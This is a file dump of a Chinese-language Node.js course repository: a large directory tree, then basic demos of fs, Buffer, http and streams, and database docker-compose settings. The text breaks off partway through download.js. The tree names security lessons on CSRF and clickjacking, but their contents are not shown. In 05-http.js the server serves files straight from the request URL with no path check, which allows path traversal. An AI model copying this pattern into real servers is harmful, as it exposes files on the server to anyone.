├── .gitignore
├── README.md
├── docker-compose.yml
├── node
├── 10
│ ├── cluster
│ │ ├── app.js
│ │ ├── cluster.js
│ │ ├── process.yml
│ │ └── test.js
│ ├── docker
│ │ ├── docker-compose.yml
│ │ ├── nginx
│ │ │ ├── Dockerfile
│ │ │ └── www
│ │ │ │ └── index.html
│ │ ├── node
│ │ │ ├── Dockerfile
│ │ │ ├── app.js
│ │ │ └── package.json
│ │ └── pm2
│ │ │ ├── Dockerfile
│ │ │ ├── app.js
│ │ │ ├── package.json
│ │ │ └── process.yml
│ ├── fork
│ │ ├── app.js
│ │ ├── fork.js
│ │ └── test.js
│ ├── slb
│ │ ├── docker-compose.yml
│ │ ├── server1
│ │ │ └── Dockerfile
│ │ ├── server2
│ │ │ └── Dockerfile
│ │ ├── slb
│ │ │ └── conf.d
│ │ │ │ └── docker.conf
│ │ └── test.js
│ ├── taro-docker
│ │ ├── .dockerignore
│ │ ├── README.md
│ │ ├── backend
│ │ │ ├── .dockerignore
│ │ │ ├── Dockerfile
│ │ │ ├── models
│ │ │ │ ├── conf.js
│ │ │ │ ├── db.js
│ │ │ │ ├── goods.json
│ │ │ │ └── init.js
│ │ │ ├── package.json
│ │ │ ├── process.yml
│ │ │ ├── server.js
│ │ │ └── test.js
│ │ ├── deploy-dev.sh
│ │ ├── docker-compose.yml
│ │ ├── frontend
│ │ │ ├── Dockerfile
│ │ │ ├── config
│ │ │ │ ├── dev.js
│ │ │ │ ├── index.js
│ │ │ │ └── prod.js
│ │ │ ├── dist
│ │ │ │ ├── chunk
│ │ │ │ │ ├── 0.js
│ │ │ │ │ ├── 1.js
│ │ │ │ │ ├── cart_cart.js
│ │ │ │ │ ├── home_home.js
│ │ │ │ │ └── user_user.js
│ │ │ │ ├── css
│ │ │ │ │ ├── 1.css
│ │ │ │ │ ├── app.css
│ │ │ │ │ ├── home_home.css
│ │ │ │ │ └── user_user.css
│ │ │ │ ├── index.html
│ │ │ │ └── js
│ │ │ │ │ └── app.js
│ │ │ ├── index.html
│ │ │ ├── package.json
│ │ │ └── src
│ │ │ │ ├── app.js
│ │ │ │ ├── app.scss
│ │ │ │ ├── assets
│ │ │ │ ├── cart-active.png
│ │ │ │ ├── cart.png
│ │ │ │ ├── cate-active.png
│ │ │ │ ├── cate.png
│ │ │ │ ├── default-avatar.png
│ │ │ │ ├── home-active.png
│ │ │ │ ├── home.png
│ │ │ │ ├── user-active.png
│ │ │ │ └── user.png
│ │ │ │ ├── index.html
│ │ │ │ ├── pages
│ │ │ │ ├── cart
│ │ │ │ │ ├── cart.js
│ │ │ │ │ └── cart.scss
│ │ │ │ ├── home
│ │ │ │ │ ├── home.js
│ │ │ │ │ └── home.scss
│ │ │ │ ├── index
│ │ │ │ │ ├── index.js
│ │ │ │ │ └── index.scss
│ │ │ │ └── user
│ │ │ │ │ ├── user.js
│ │ │ │ │ └── user.scss
│ │ │ │ └── store
│ │ │ │ ├── cart.js
│ │ │ │ └── todo.js
│ │ ├── nginx
│ │ │ └── conf.d
│ │ │ │ └── docker.conf
│ │ ├── package.json
│ │ ├── static
│ │ │ ├── course
│ │ │ │ ├── GraphQL-React_Final.png
│ │ │ │ ├── GraphQL_Final.png
│ │ │ │ ├── IntroPython.png
│ │ │ │ ├── JSBasic-Algorithms_Final.png
│ │ │ │ ├── LearnES6_Final.png
│ │ │ │ ├── LearnGit.png
│ │ │ │ ├── NodeAWSServerless_Final.png
│ │ │ │ ├── NodeDocker_1000.png
│ │ │ │ ├── PWAReact_Final.png
│ │ │ │ ├── ReactBeginners.png
│ │ │ │ ├── ReactContext_Final.png
│ │ │ │ ├── ReactNative.png
│ │ │ │ ├── ReactNextServer_Final.png
│ │ │ │ ├── ReactStorybook_Final.png
│ │ │ │ ├── React_Mobx_TS.png
│ │ │ │ ├── ReduxSaga.png
│ │ │ │ ├── SimplifyHooks_Final.png
│ │ │ │ ├── TSVue_Final.png
│ │ │ │ ├── TestGooglePuppeteer_Final.png
│ │ │ │ ├── TestReactJest.png
│ │ │ │ ├── Typescript_Plumbing_image.png
│ │ │ │ ├── VueJS_Final.png
│ │ │ │ ├── VuePwa.png
│ │ │ │ ├── github.png
│ │ │ │ └── react-context.png
│ │ │ └── fire.png
│ │ └── webhooks.js
│ └── taro-node
│ │ ├── dist
│ │ ├── chunk
│ │ │ ├── 0.js
│ │ │ ├── 1.js
│ │ │ ├── cart_cart.js
│ │ │ ├── home_home.js
│ │ │ └── user_user.js
│ │ ├── css
│ │ │ ├── 1.css
│ │ │ ├── app.css
│ │ │ ├── home_home.css
│ │ │ └── user_user.css
│ │ ├── index.html
│ │ └── js
│ │ │ └── app.js
│ │ ├── docker-compose.yml
│ │ ├── package.json
│ │ └── server
│ │ ├── goods.json
│ │ ├── process.yml
│ │ ├── server.js
│ │ └── static
│ │ ├── course
│ │ ├── GraphQL-React_Final.png
│ │ ├── GraphQL_Final.png
│ │ ├── IntroPython.png
│ │ ├── JSBasic-Algorithms_Final.png
│ │ ├── LearnES6_Final.png
│ │ ├── LearnGit.png
│ │ ├── NodeAWSServerless_Final.png
│ │ ├── NodeDocker_1000.png
│ │ ├── PWAReact_Final.png
│ │ ├── ReactBeginners.png
│ │ ├── ReactContext_Final.png
│ │ ├── ReactNative.png
│ │ ├── ReactNextServer_Final.png
│ │ ├── ReactStorybook_Final.png
│ │ ├── React_Mobx_TS.png
│ │ ├── ReduxSaga.png
│ │ ├── SimplifyHooks_Final.png
│ │ ├── TSVue_Final.png
│ │ ├── TestGooglePuppeteer_Final.png
│ │ ├── TestReactJest.png
│ │ ├── Typescript_Plumbing_image.png
│ │ ├── VueJS_Final.png
│ │ ├── VuePwa.png
│ │ ├── github.png
│ │ └── react-context.png
│ │ └── fire.png
├── .vscode
│ └── launch.json
├── 01
│ ├── api
│ │ ├── 01-run.js
│ │ ├── 02-useModule.js
│ │ ├── 03-fs.js
│ │ ├── 04-buffer.js
│ │ ├── 05-http.js
│ │ ├── 06-stream.js
│ │ ├── download.js
│ │ ├── img.png
│ │ ├── img2.png
│ │ └── index.html
│ ├── promise
│ │ ├── index.js
│ │ └── promisify.js
│ ├── spawn-cross-platform
│ │ ├── __tests__
│ │ │ └── index.spec.js
│ │ └── index.js
│ └── vue-auto-router-cli
│ │ ├── bin
│ │ └── kkb.js
│ │ ├── lib
│ │ ├── download.js
│ │ ├── init.js
│ │ ├── refresh.js
│ │ └── serve.js
│ │ ├── package.json
│ │ └── publish.sh
├── 02
│ ├── express
│ │ └── index.js
│ ├── sample
│ │ ├── index.html
│ │ └── index.js
│ └── source
│ │ ├── app.js
│ │ ├── context.js
│ │ ├── kkb.js
│ │ ├── middlewares.js
│ │ ├── public
│ │ └── index.html
│ │ ├── request.js
│ │ ├── response.js
│ │ ├── router.js
│ │ ├── static.js
│ │ └── test-gettter-setter.js
├── 03
│ ├── bodyparser
│ │ ├── index.html
│ │ └── index.js
│ ├── download
│ │ ├── file.pdf
│ │ ├── index.html
│ │ └── index.js
│ ├── http
│ │ ├── api.js
│ │ ├── dist
│ │ │ └── index.html
│ │ ├── docker-compose.yml
│ │ ├── front-end
│ │ │ ├── .gitignore
│ │ │ ├── README.md
│ │ │ ├── babel.config.js
│ │ │ ├── package.json
│ │ │ ├── public
│ │ │ │ ├── favicon.ico
│ │ │ │ └── index.html
│ │ │ ├── src
│ │ │ │ ├── App.vue
│ │ │ │ ├── assets
│ │ │ │ │ └── logo.png
│ │ │ │ ├── components
│ │ │ │ │ └── HelloWorld.vue
│ │ │ │ └── main.js
│ │ │ └── vue.config.js
│ │ ├── index.html
│ │ ├── index.js
│ │ ├── nginx
│ │ │ └── conf.d
│ │ │ │ └── default.conf
│ │ └── proxy.js
│ ├── im
│ │ ├── http
│ │ │ ├── index.html
│ │ │ └── index.js
│ │ ├── socket.js
│ │ └── socketio
│ │ │ ├── index.html
│ │ │ └── index.js
│ ├── spider
│ │ └── index.js
│ ├── terminal
│ │ ├── .gitignore
│ │ ├── README.md
│ │ ├── index.html
│ │ ├── package.json
│ │ ├── server
│ │ │ └── index.js
│ │ ├── src
│ │ │ ├── example.tsx
│ │ │ ├── main.css
│ │ │ └── support
│ │ │ │ └── noop.js
│ │ ├── tsconfig.json
│ │ ├── typings.json
│ │ ├── typings
│ │ │ ├── globals
│ │ │ │ ├── react-dom
│ │ │ │ │ ├── index.d.ts
│ │ │ │ │ └── typings.json
│ │ │ │ ├── react
│ │ │ │ │ ├── index.d.ts
│ │ │ │ │ └── typings.json
│ │ │ │ └── socket.io-client
│ │ │ │ │ ├── index.d.ts
│ │ │ │ │ └── typings.json
│ │ │ └── index.d.ts
│ │ └── webpack.config.js
│ ├── trunk-upload
│ │ ├── .gitignore
│ │ ├── README.md
│ │ ├── assert
│ │ │ ├── css
│ │ │ │ └── webuploader.css
│ │ │ ├── index.html
│ │ │ └── js
│ │ │ │ ├── jquery.js
│ │ │ │ ├── webuploader.html5only.js
│ │ │ │ └── webuploader.html5only.min.js
│ │ ├── package.json
│ │ ├── server.js
│ │ ├── yarn-error.log
│ │ └── yarn.lock
│ └── upload
│ │ ├── index.html
│ │ └── index.js
├── 04
│ ├── docker-compose.yml
│ ├── fs
│ │ └── index.js
│ ├── mongo
│ │ ├── 2dspere.js
│ │ ├── cart
│ │ │ ├── index.html
│ │ │ ├── index.js
│ │ │ ├── models
│ │ │ │ └── user.js
│ │ │ └── mongoose.js
│ │ ├── eventEmitter.js
│ │ ├── market
│ │ │ ├── index.html
│ │ │ ├── index.js
│ │ │ └── models
│ │ │ │ ├── conf.js
│ │ │ │ ├── db.js
│ │ │ │ └── testdata.js
│ │ ├── mongo.js
│ │ └── mongoose.js
│ ├── mysql
│ │ ├── .gitignore
│ │ ├── bulk
│ │ │ └── index.js
│ │ ├── co-mysql.js
│ │ ├── mysql.js
│ │ ├── mysql2.js
│ │ ├── pool
│ │ │ ├── async.js
│ │ │ ├── mysql.js
│ │ │ └── sequelize.js
│ │ ├── sequelize.js
│ │ ├── sequelize2.js
│ │ ├── sequelize3.js
│ │ └── transaction
│ │ │ ├── lock
│ │ │ ├── mysql.js
│ │ │ └── sequelize.js
│ │ │ └── rollback
│ │ │ ├── __test__
│ │ │ └── index.spec.js
│ │ │ ├── index.js
│ │ │ └── initDB.txt
│ └── shop
│ │ ├── backend
│ │ ├── .gitignore
│ │ ├── README.md
│ │ ├── data
│ │ │ ├── cart.json
│ │ │ └── products.json
│ │ ├── docker-compose.yml
│ │ ├── index.js
│ │ ├── models
│ │ │ ├── cart-item.js
│ │ │ ├── cart.js
│ │ │ ├── order-item.js
│ │ │ ├── order.js
│ │ │ ├── product.js
│ │ │ └── user.js
│ │ ├── package.json
│ │ ├── util
│ │ │ ├── conf.js
│ │ │ ├── database.js
│ │ │ └── path.js
│ │ └── yarn.lock
│ │ └── frontend
│ │ ├── .gitignore
│ │ ├── README.md
│ │ ├── babel.config.js
│ │ ├── package.json
│ │ ├── public
│ │ ├── favicon.ico
│ │ ├── img
│ │ │ └── icons
│ │ │ │ ├── android-chrome-192x192.png
│ │ │ │ ├── android-chrome-512x512.png
│ │ │ │ ├── apple-touch-icon-120x120.png
│ │ │ │ ├── apple-touch-icon-152x152.png
│ │ │ │ ├── apple-touch-icon-180x180.png
│ │ │ │ ├── apple-touch-icon-60x60.png
│ │ │ │ ├── apple-touch-icon-76x76.png
│ │ │ │ ├── apple-touch-icon.png
│ │ │ │ ├── favicon-16x16.png
│ │ │ │ ├── favicon-32x32.png
│ │ │ │ ├── msapplication-icon-144x144.png
│ │ │ │ ├── mstile-150x150.png
│ │ │ │ └── safari-pinned-tab.svg
│ │ ├── index.html
│ │ ├── manifest.json
│ │ └── robots.txt
│ │ ├── src
│ │ ├── App.vue
│ │ ├── assets
│ │ │ └── logo.png
│ │ ├── element-variables.scss
│ │ ├── main.js
│ │ ├── plugins
│ │ │ └── element.js
│ │ ├── registerServiceWorker.js
│ │ ├── router.js
│ │ ├── utils
│ │ │ └── interceptor.js
│ │ └── views
│ │ │ ├── Cart.vue
│ │ │ ├── Orders.vue
│ │ │ └── Shop.vue
│ │ └── vue.config.js
├── 05
│ ├── docker-compose.yml
│ ├── eventEmitter
│ │ └── index.js
│ ├── keystone
│ │ ├── .editorconfig
│ │ ├── .eslintignore
│ │ ├── .eslintrc
│ │ ├── .gitignore
│ │ ├── Procfile
│ │ ├── keystone.js
│ │ ├── models
│ │ │ ├── Enquiry.js
│ │ │ ├── Gallery.js
│ │ │ ├── Order.js
│ │ │ ├── Post.js
│ │ │ ├── PostCategory.js
│ │ │ └── User.js
│ │ ├── package.json
│ │ ├── public
│ │ │ ├── favicon.ico
│ │ │ ├── fonts
│ │ │ │ ├── glyphicons-halflings-regular.eot
│ │ │ │ ├── glyphicons-halflings-regular.svg
│ │ │ │ ├── glyphicons-halflings-regular.ttf
│ │ │ │ ├── glyphicons-halflings-regular.woff
│ │ │ │ └── glyphicons-halflings-regular.woff2
│ │ │ ├── images
│ │ │ │ ├── logo-email.gif
│ │ │ │ └── logo.svg
│ │ │ ├── js
│ │ │ │ ├── bootstrap
│ │ │ │ │ ├── affix.js
│ │ │ │ │ ├── alert.js
│ │ │ │ │ ├── bootstrap-3.3.5.js
│ │ │ │ │ ├── bootstrap-3.3.5.min.js
│ │ │ │ │ ├── button.js
│ │ │ │ │ ├── carousel.js
│ │ │ │ │ ├── collapse.js
│ │ │ │ │ ├── dropdown.js
│ │ │ │ │ ├── modal.js
│ │ │ │ │ ├── npm.js
│ │ │ │ │ ├── popover.js
│ │ │ │ │ ├── scrollspy.js
│ │ │ │ │ ├── tab.js
│ │ │ │ │ ├── tooltip.js
│ │ │ │ │ └── transition.js
│ │ │ │ └── jquery
│ │ │ │ │ ├── jquery-1.11.3.js
│ │ │ │ │ ├── jquery-1.11.3.min.js
│ │ │ │ │ ├── jquery-2.1.4.js
│ │ │ │ │ └── jquery-2.1.4.min.js
│ │ │ └── styles
│ │ │ │ ├── bootstrap
│ │ │ │ ├── alerts.less
│ │ │ │ ├── badges.less
│ │ │ │ ├── bootstrap.less
│ │ │ │ ├── breadcrumbs.less
│ │ │ │ ├── button-groups.less
│ │ │ │ ├── buttons.less
│ │ │ │ ├── carousel.less
│ │ │ │ ├── close.less
│ │ │ │ ├── code.less
│ │ │ │ ├── component-animations.less
│ │ │ │ ├── dropdowns.less
│ │ │ │ ├── forms.less
│ │ │ │ ├── glyphicons.less
│ │ │ │ ├── grid.less
│ │ │ │ ├── input-groups.less
│ │ │ │ ├── jumbotron.less
│ │ │ │ ├── labels.less
│ │ │ │ ├── list-group.less
│ │ │ │ ├── media.less
│ │ │ │ ├── mixins.less
│ │ │ │ ├── mixins
│ │ │ │ │ ├── alerts.less
│ │ │ │ │ ├── background-variant.less
│ │ │ │ │ ├── border-radius.less
│ │ │ │ │ ├── buttons.less
│ │ │ │ │ ├── center-block.less
│ │ │ │ │ ├── clearfix.less
│ │ │ │ │ ├── forms.less
│ │ │ │ │ ├── gradients.less
│ │ │ │ │ ├── grid-framework.less
│ │ │ │ │ ├── grid.less
│ │ │ │ │ ├── hide-text.less
│ │ │ │ │ ├── image.less
│ │ │ │ │ ├── labels.less
│ │ │ │ │ ├── list-group.less
│ │ │ │ │ ├── nav-divider.less
│ │ │ │ │ ├── nav-vertical-align.less
│ │ │ │ │ ├── opacity.less
│ │ │ │ │ ├── pagination.less
│ │ │ │ │ ├── panels.less
│ │ │ │ │ ├── progress-bar.less
│ │ │ │ │ ├── reset-filter.less
│ │ │ │ │ ├── reset-text.less
│ │ │ │ │ ├── resize.less
│ │ │ │ │ ├── responsive-visibility.less
│ │ │ │ │ ├── size.less
│ │ │ │ │ ├── tab-focus.less
│ │ │ │ │ ├── table-row.less
│ │ │ │ │ ├── text-emphasis.less
│ │ │ │ │ ├── text-overflow.less
│ │ │ │ │ └── vendor-prefixes.less
│ │ │ │ ├── modals.less
│ │ │ │ ├── navbar.less
│ │ │ │ ├── navs.less
│ │ │ │ ├── normalize.less
│ │ │ │ ├── pager.less
│ │ │ │ ├── pagination.less
│ │ │ │ ├── panels.less
│ │ │ │ ├── popovers.less
│ │ │ │ ├── print.less
│ │ │ │ ├── progress-bars.less
│ │ │ │ ├── responsive-embed.less
│ │ │ │ ├── responsive-utilities.less
│ │ │ │ ├── scaffolding.less
│ │ │ │ ├── tables.less
│ │ │ │ ├── theme.less
│ │ │ │ ├── thumbnails.less
│ │ │ │ ├── tooltip.less
│ │ │ │ ├── type.less
│ │ │ │ ├── utilities.less
│ │ │ │ ├── variables.less
│ │ │ │ └── wells.less
│ │ │ │ ├── site.less
│ │ │ │ ├── site.min.css
│ │ │ │ └── site
│ │ │ │ ├── layout.less
│ │ │ │ └── variables.less
│ │ ├── routes
│ │ │ ├── index.js
│ │ │ ├── middleware.js
│ │ │ └── views
│ │ │ │ ├── blog.js
│ │ │ │ ├── contact.js
│ │ │ │ ├── gallery.js
│ │ │ │ ├── index.js
│ │ │ │ └── post.js
│ │ ├── templates
│ │ │ ├── layouts
│ │ │ │ └── default.pug
│ │ │ ├── mixins
│ │ │ │ └── flash-messages.pug
│ │ │ └── views
│ │ │ │ ├── blog.pug
│ │ │ │ ├── contact.pug
│ │ │ │ ├── errors
│ │ │ │ ├── 404.pug
│ │ │ │ └── 500.pug
│ │ │ │ ├── gallery.pug
│ │ │ │ ├── index.pug
│ │ │ │ └── post.pug
│ │ └── updates
│ │ │ └── 0.0.1-admins.js
│ ├── mongo
│ │ ├── helloworld.js
│ │ ├── index.html
│ │ ├── index.js
│ │ ├── initData.js
│ │ └── models
│ │ │ ├── conf.js
│ │ │ └── db.js
│ ├── mongoose
│ │ ├── cart
│ │ │ ├── index.html
│ │ │ ├── index.js
│ │ │ ├── models
│ │ │ │ └── user.js
│ │ │ └── mongoose.js
│ │ └── index.js
│ └── restful
│ │ ├── conf.js
│ │ ├── framework
│ │ ├── api.js
│ │ ├── loader.js
│ │ └── router.js
│ │ ├── index.js
│ │ └── model
│ │ └── user.js
├── 06
│ ├── app.js
│ ├── cookie.js
│ ├── docker-compose.yml
│ ├── jsonwebtoken.js
│ ├── oauth-simple
│ │ ├── index.html
│ │ └── index.js
│ ├── oauth
│ │ ├── index.html
│ │ └── index.js
│ ├── qrcode
│ │ ├── index.html
│ │ └── index.js
│ ├── redis.js
│ ├── session-store
│ │ ├── app-memory.js
│ │ └── app-redis.js
│ ├── session
│ │ ├── index.html
│ │ └── index.js
│ ├── sso
│ │ ├── .gitignore
│ │ ├── README.md
│ │ ├── package.json
│ │ ├── passport
│ │ │ ├── app.js
│ │ │ ├── routes
│ │ │ │ ├── check-token.js
│ │ │ │ └── login.js
│ │ │ ├── service
│ │ │ │ └── index.js
│ │ │ └── views
│ │ │ │ └── login.ejs
│ │ ├── system
│ │ │ ├── app.js
│ │ │ ├── routes
│ │ │ │ └── index.js
│ │ │ └── views
│ │ │ │ └── index.ejs
│ │ └── yarn.lock
│ └── token
│ │ ├── index.html
│ │ └── index.js
├── 07
│ ├── egg
│ │ ├── .autod.conf.js
│ │ ├── .eslintignore
│ │ ├── .eslintrc
│ │ ├── .gitignore
│ │ ├── .travis.yml
│ │ ├── README.md
│ │ ├── app
│ │ │ ├── controller
│ │ │ │ ├── home.js
│ │ │ │ └── user.js
│ │ │ ├── model
│ │ │ │ └── user.js
│ │ │ ├── router.js
│ │ │ └── service
│ │ │ │ └── user.js
│ │ ├── appveyor.yml
│ │ ├── config
│ │ │ ├── config.default.js
│ │ │ └── plugin.js
│ │ ├── jsconfig.json
│ │ ├── package.json
│ │ └── test
│ │ │ └── app
│ │ │ └── controller
│ │ │ └── home.test.js
│ ├── kgg
│ │ ├── config
│ │ │ └── index.js
│ │ ├── controller
│ │ │ └── home.js
│ │ ├── index.js
│ │ ├── kkb-loader.js
│ │ ├── kkb.js
│ │ ├── middleware
│ │ │ └── logger.js
│ │ ├── model
│ │ │ └── user.js
│ │ ├── routes
│ │ │ ├── index.js
│ │ │ └── user.js
│ │ ├── schedule
│ │ │ ├── log.js
│ │ │ └── user.js
│ │ └── service
│ │ │ └── user.js
│ └── mvc
│ │ ├── .autod.conf.js
│ │ ├── .eslintignore
│ │ ├── .eslintrc
│ │ ├── .gitignore
│ │ ├── .travis.yml
│ │ ├── README.md
│ │ ├── app
│ │ ├── controller
│ │ │ ├── mvc.js
│ │ │ └── origin.js
│ │ ├── extend
│ │ │ └── helper.js
│ │ ├── router.js
│ │ ├── service
│ │ │ └── title.js
│ │ └── view
│ │ │ ├── content.html
│ │ │ └── title.html
│ │ ├── appveyor.yml
│ │ ├── config
│ │ ├── config.default.js
│ │ └── plugin.js
│ │ ├── jsconfig.json
│ │ ├── package.json
│ │ └── test
│ │ └── app
│ │ └── controller
│ │ └── home.test.js
├── 08
│ └── egg-server
│ │ ├── .autod.conf.js
│ │ ├── .eslintignore
│ │ ├── .eslintrc
│ │ ├── .gitignore
│ │ ├── .travis.yml
│ │ ├── README.md
│ │ ├── app.js
│ │ ├── app
│ │ ├── contract
│ │ │ ├── index.js
│ │ │ ├── user.js
│ │ │ └── userAccess.js
│ │ ├── controller
│ │ │ ├── home.js
│ │ │ ├── upload.js
│ │ │ ├── user.js
│ │ │ └── userAccess.js
│ │ ├── extend
│ │ │ └── helper.js
│ │ ├── middleware
│ │ │ └── error_handler.js
│ │ ├── model
│ │ │ └── user.js
│ │ ├── public
│ │ │ ├── index.html
│ │ │ ├── upload.html
│ │ │ └── uploads
│ │ │ │ └── 622976.png
│ │ ├── router.js
│ │ └── service
│ │ │ ├── actionToken.js
│ │ │ ├── user.js
│ │ │ └── userAccess.js
│ │ ├── appveyor.yml
│ │ ├── config
│ │ ├── config.default.js
│ │ └── plugin.js
│ │ ├── jsconfig.json
│ │ ├── package.json
│ │ └── test
│ │ └── app
│ │ └── controller
│ │ └── home.test.js
├── 09
│ ├── ts-decorate
│ │ ├── package.json
│ │ ├── readme.md
│ │ ├── src
│ │ │ └── index.ts
│ │ └── tsconfig.json
│ └── ts-server
│ │ ├── package.json
│ │ ├── readem.md
│ │ ├── src
│ │ ├── index.ts
│ │ ├── model
│ │ │ └── user.ts
│ │ ├── routes
│ │ │ └── user.ts
│ │ └── utils
│ │ │ └── decors.ts
│ │ └── tsconfig.json
└── package.json
├── pattern
├── observer
│ └── index.html
├── rest
│ ├── conf.js
│ ├── framework
│ │ ├── api.js
│ │ ├── loader.js
│ │ └── router.js
│ ├── index.js
│ ├── model
│ │ └── user.js
│ └── package.json
├── strategy
│ └── index.html
└── vue-auto-router-cli
│ ├── bin
│ ├── kkb
│ ├── kkb-init
│ └── kkb-refresh
│ ├── lib
│ └── download.js
│ ├── package.json
│ └── publish.sh
├── security
├── 01
│ ├── app
│ │ ├── app.js
│ │ ├── batch.js
│ │ ├── config.js
│ │ ├── db.js
│ │ ├── hack-app.js
│ │ ├── password.js
│ │ └── views
│ │ │ ├── index.ejs
│ │ │ └── login.ejs
│ ├── hack
│ │ ├── app.js
│ │ └── views
│ │ │ ├── clickjacking.html
│ │ │ ├── csrf.html
│ │ │ ├── hack.js
│ │ │ └── pic.jpg
│ ├── index.js
│ └── initDb.js
├── 02
│ ├── captcha
│ │ ├── bg.jpg
│ │ ├── client.js
│ │ ├── index.html
│ │ └── index.js
│ ├── nginx
│ │ ├── conf.d
│ │ │ ├── cert
│ │ │ │ ├── www.josephxia.com.key
│ │ │ │ └── www.josephxia.com.pem
│ │ │ └── www.josephxia.com.conf
│ │ ├── docker-compose.yml
│ │ └── html
│ │ │ └── index.html
│ └── sample-server
│ │ ├── app
│ │ ├── app.js
│ │ ├── batch.js
│ │ ├── config.js
│ │ ├── db.js
│ │ ├── hack-app.js
│ │ ├── password.js
│ │ └── views
│ │ │ ├── index.ejs
│ │ │ └── login.ejs
│ │ ├── hack
│ │ ├── app.js
│ │ └── views
│ │ │ ├── clickjacking.html
│ │ │ ├── csrf.html
│ │ │ ├── hack.js
│ │ │ └── pic.jpg
│ │ ├── index.js
│ │ └── initDb.js
├── docker-compose.yml
└── package.json
└── weixin
├── 01
├── api
│ ├── conf.js
│ ├── index.js
│ └── mongoose.js
├── seed
│ ├── index.html
│ └── index.js
├── vote
│ ├── conf.js
│ ├── db.js
│ ├── index.html
│ ├── process.yml
│ ├── server.js
│ └── vote.css
└── wx
│ ├── conf.js
│ ├── index.html
│ ├── index.js
│ ├── mongoose.js
│ └── source.js
├── 02
├── cube-ui
│ ├── .gitignore
│ ├── README.md
│ ├── babel.config.js
│ ├── package.json
│ ├── public
│ │ ├── favicon.ico
│ │ └── index.html
│ ├── src
│ │ ├── App.vue
│ │ ├── assets
│ │ │ └── logo.png
│ │ ├── components
│ │ │ ├── HelloWorld.vue
│ │ │ ├── Quiz.vue
│ │ │ └── data.js
│ │ ├── cube-ui.js
│ │ ├── main.js
│ │ └── theme.styl
│ └── vue.config.js
├── quiz
│ ├── conf.js
│ ├── data.js
│ ├── index.html
│ ├── mongo.js
│ ├── mongo2.js
│ ├── server.js
│ ├── style.css
│ └── text.vue
└── wx
│ ├── conf.js
│ ├── index.html
│ ├── index.js
│ ├── js
│ ├── axios.min.js
│ ├── cube.min.css
│ ├── cube.min.js
│ ├── jweixin-1.4.0.js
│ ├── qs.js
│ └── vue.min.js
│ ├── mongoose.js
│ └── source.js
├── bin
├── ngrok
└── sunny
├── package.json
└── seed
├── index.html
└── index.js
/.gitignore:
--------------------------------------------------------------------------------
1 | /node_modules/
2 | package-lock.json
3 | /idea/
4 | **/*/node_modules/
5 |
6 | .DS_Store
7 |
--------------------------------------------------------------------------------
/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.1'
2 | services:
3 | mongo:
4 | image: mongo
5 | restart: always
6 | ports:
7 | - 27017:27017
8 | mongo-express:
9 | image: mongo-express
10 | restart: always
11 | ports:
12 | - 8081:8081
13 | mysql:
14 | image: mysql
15 | command: --default-authentication-plugin=mysql_native_password
16 | restart: always
17 | environment:
18 | MYSQL_ROOT_PASSWORD: example
19 | ports:
20 | - 3306:3306
21 | adminer:
22 | image: adminer
23 | restart: always
24 | ports:
25 | - 8080:8080
26 | redis:
27 | image: redis
28 | ports:
29 | - "6379:6379"
30 |
--------------------------------------------------------------------------------
/node/.vscode/launch.json:
--------------------------------------------------------------------------------
1 | {
2 | // 使用 IntelliSense 了解相关属性。
3 | // 悬停以查看现有属性的描述。
4 | // 欲了解更多信息,请访问: https://go.microsoft.com/fwlink/?linkid=830387
5 | "version": "0.2.0",
6 | "configurations": [
7 |
8 | {
9 | "type": "node",
10 | "request": "launch",
11 | "name": "Launch Program",
12 | "program": "${workspaceFolder}/01a/api/01-run.js"
13 | }
14 |
15 | ]
16 | }
--------------------------------------------------------------------------------
/node/01/api/01-run.js:
--------------------------------------------------------------------------------
1 | console.log('Hello world..3231211')
2 | const newLocal = 'H123213';
3 | console.log(newLocal)
--------------------------------------------------------------------------------
/node/01/api/02-useModule.js:
--------------------------------------------------------------------------------
1 | // 内置模块
2 | // const os = require('os')
3 | // const mem = os.freemem() / os.totalmem()
4 | // console.log(`内存占用率${mem.toFixed(2)}%`)
5 |
6 | // 第三方模块
7 | const repo = 'github:su37josephxia/vue-template';
8 | const desc = '../test';
9 |
10 | const {clone} = require('./download')
11 | clone(repo, desc);
12 |
--------------------------------------------------------------------------------
/node/01/api/03-fs.js:
--------------------------------------------------------------------------------
1 | const fs = require('fs')
2 |
3 | // 同步
4 | // const data = fs.readFileSync('./download.js')
5 | // console.log(data,data.toString())
6 |
7 | // 异步方式
8 | fs.readFile('./download.js',(err,data) => {
9 | if(err) throw err
10 | console.log(data)
11 | })
--------------------------------------------------------------------------------
/node/01/api/04-buffer.js:
--------------------------------------------------------------------------------
1 | // 创建一个长度为10字节以0填充的Buffer
2 | const buf1 = Buffer.alloc(10)
3 | console.log(buf1)
4 |
5 | // 创建一个Buffer包含ascii.
6 | const buf2 = Buffer.from('a')
7 | console.log(buf2,buf2.toString())
8 |
9 | // 创建Buffer包含UTF-8字节
10 | const buf3 = Buffer.from('中文')
11 | console.log(buf3)
12 |
13 | // 合并Buffer
14 | const buf4 = Buffer.concat([buf2,buf3])
15 | console.log(buf4,buf4.toString())
--------------------------------------------------------------------------------
/node/01/api/05-http.js:
--------------------------------------------------------------------------------
1 | const http = require('http')
2 | const fs = require('fs')
3 | const server = http.createServer((request, response) => {
4 | // response.end('hello ...')
5 | const { url, method ,headers} = request
6 | if (url === '/' && method === 'GET'){
7 | // 静态页面服务
8 | fs.readFile('index.html',(err,data) => {
9 | response.statusCode = 200
10 | response.setHeader('Content-Type','text/html')
11 | response.end(data)
12 | })
13 | }else if(url === '/users' && method === 'GET'){
14 | // Ajax服务
15 | response.writeHead(200,{
16 | 'Content-Type': 'application/json'
17 | })
18 | response.end(JSON.stringify({
19 | name : 'laowang'
20 | }))
21 | }else if(method === 'GET' && headers.accept.indexOf('image/*') !== -1){
22 | // 图片文件服务
23 | fs.createReadStream('./'+url).pipe(response)
24 | }
25 |
26 | })
27 | server.listen(3000)
--------------------------------------------------------------------------------
/node/01/api/06-stream.js:
--------------------------------------------------------------------------------
1 | //二进制友好,图片操作
2 | const fs = require('fs')
3 | const rs = fs.createReadStream('./img.png')
4 | const ws = fs.createWriteStream('./img2.png')
5 | rs.pipe(ws)
--------------------------------------------------------------------------------
/node/01/api/download.js:
--------------------------------------------------------------------------------
1 | module.exports.clone = async function clone(repo, desc) {
2 | const { promisify } = require('util')
3 | const download = promisify(require('download-git-repo'));
4 | const ora = require('ora');
5 | const process = ora(`正在下载....${repo}`);
6 | process.start();
7 | try {
8 | await download(repo,desc)
9 | } catch (error) {
10 | process.fail()
11 | }
12 | process.succeed()
13 |
14 | // download(repo, desc, err => {
15 | // // console.log(err ? 'Error': 'OK')
16 | // if (err) {
